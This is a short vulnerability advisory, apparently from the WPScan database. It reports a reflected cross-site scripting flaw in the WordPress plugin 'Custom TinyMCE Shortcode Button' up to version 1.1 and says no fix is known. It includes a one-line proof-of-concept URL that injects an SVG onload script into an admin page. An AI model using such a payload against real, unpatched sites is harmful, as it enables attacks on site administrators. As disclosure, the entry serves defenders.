WordPress Plugin Vulnerabilities
Custom TinyMCE Shortcode Button <= 1.1 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the PHP_SELF variable before outputting it back in an attribute in an admin page, leading to Reflected Cross-Site Scripting.
Proof of Concept
https://example.com/wp-admin/options-general.php/%22%3E%3Csvg/onload=alert(/xss/)%3E?page=stscb-page-elements
Affects Plugins
No known fix References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
p7e4
Submitter
p7e4
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-04-19 (about 1 years ago)
Added
2022-04-19 (about 1 years ago)
Last Updated
2022-04-20 (about 1 years ago)
WPScan 